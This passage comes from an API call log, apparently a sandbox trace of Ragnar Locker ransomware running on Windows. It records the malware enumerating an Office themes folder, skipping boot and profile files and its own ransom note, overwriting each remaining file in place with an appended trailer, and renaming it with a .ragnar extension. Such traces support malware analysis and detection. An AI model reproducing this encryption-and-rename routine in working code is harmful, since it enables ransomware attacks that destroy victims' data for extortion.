(normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0074.289] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=59203) returned 1 [0074.289] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe73a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.289] GetProcessHeap () returned 0x580000 [0074.289] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.289] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.291] VirtualAlloc (lpAddress=0x0, dwSize=0xe743, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.291] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.291] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.291] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe743, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xe743, lpOverlapped=0x0) returned 1 [0074.293] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.293] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe743, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.293] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe743, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xe743, lpOverlapped=0x0) returned 1 [0074.293] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe743, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.293] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.294] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe743, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.294] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.294] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.294] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.294] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.294] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.294] GetProcessHeap () returned 0x580000 [0074.294] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.294] CloseHandle (hObject=0x10c) returned 1 [0074.294] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" [0074.294] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.ragnar_FD7BD9FC" [0074.294] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.316] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0074.316] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0074.333] lstrcpyW (in: lpString1=0x1eab6e, lpString2="LAYERS.INF" | out: lpString1="LAYERS.INF") returned="LAYERS.INF" [0074.333] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF") returned=".INF" [0074.333] lstrcmpiW (lpString1="LAYERS.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.333] lstrcmpiW (lpString1="LAYERS.INF", lpString2="autorun.inf") returned 1 [0074.335] lstrcmpiW (lpString1="LAYERS.INF", lpString2="boot.ini") returned 1 [0074.335] lstrcmpiW (lpString1="LAYERS.INF", lpString2="bootfont.bin") returned 1 [0074.335] lstrcmpiW (lpString1="LAYERS.INF", lpString2="bootsect.bak") returned 1 [0074.335] lstrcmpiW (lpString1="LAYERS.INF", lpString2="bootmgr") returned 1 [0074.336] lstrcmpiW (lpString1="LAYERS.INF", lpString2="bootmgr.efi") returned 1 [0074.336] lstrcmpiW (lpString1="LAYERS.INF", lpString2="bootmgfw.efi") returned 1 [0074.339] lstrcmpiW (lpString1="LAYERS.INF", lpString2="desktop.ini") returned 1 [0074.339] lstrcmpiW (lpString1="LAYERS.INF", lpString2="iconcache.db") returned 1 [0074.339] lstrcmpiW (lpString1="LAYERS.INF", lpString2="ntldr") returned -1 [0074.339] lstrcmpiW (lpString1="LAYERS.INF", lpString2="ntuser.dat") returned -1 [0074.339] lstrcmpiW (lpString1="LAYERS.INF", lpString2="ntuser.dat.log") returned -1 [0074.425] lstrcmpiW (lpString1="LAYERS.INF", lpString2="ntuser.ini") returned -1 [0074.623] lstrcmpiW (lpString1="LAYERS.INF", lpString2="thumbs.db") returned -1 [0074.641] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0074.641] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0074.641] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0074.641] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0074.641] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0074.659] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0074.659] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0074.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf")) returned 0x20 [0074.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0074.665] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=533) returned 1 [0074.665] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x20c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.665] GetProcessHeap () returned 0x580000 [0074.667] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.667] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.674] VirtualAlloc (lpAddress=0x0, dwSize=0x215, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.674] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.674] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.674] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x215, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x215, lpOverlapped=0x0) returned 1 [0074.675] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.675] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x215, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.675] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x215, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x215, lpOverlapped=0x0) returned 1 [0074.675] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x215, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.675] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.675] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x215, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.675] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.676] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.676] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.676] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.676] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.676] GetProcessHeap () returned 0x580000 [0074.676] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.676] CloseHandle (hObject=0x10c) returned 1 [0074.676] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" [0074.676] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.ragnar_FD7BD9FC" [0074.676] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.677] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0074.677] lstrcpyW (in: lpString1=0x1eab6e, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0074.677] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned=".GIF" [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0074.677] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0074.677] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0074.677] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0074.677] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0074.677] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0074.677] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0074.677] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0074.678] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0074.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0074.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0074.678] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1659) returned 1 [0074.678] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x672, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.678] GetProcessHeap () returned 0x580000 [0074.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.678] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.679] VirtualAlloc (lpAddress=0x0, dwSize=0x67b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.680] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.680] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.680] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x67b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x67b, lpOverlapped=0x0) returned 1 [0074.680] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.680] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x67b, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.680] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x67b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x67b, lpOverlapped=0x0) returned 1 [0074.680] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x67b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.680] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.680] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x67b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.680] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.680] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.681] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.681] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.681] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.681] GetProcessHeap () returned 0x580000 [0074.681] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.681] CloseHandle (hObject=0x10c) returned 1 [0074.681] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" [0074.681] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.ragnar_FD7BD9FC" [0074.681] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.681] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e857200, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7e857200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.681] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0074.681] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0074.681] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\RGNR_FD7BD9FC.txt") returned=".txt" [0074.682] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0074.682] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.682] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0074.682] lstrcpyW (in: lpString1=0x1eab6e, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0074.682] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned=".PNG" [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0074.682] lstrcmpiW (lpString1="THMBNAIL.PNG", 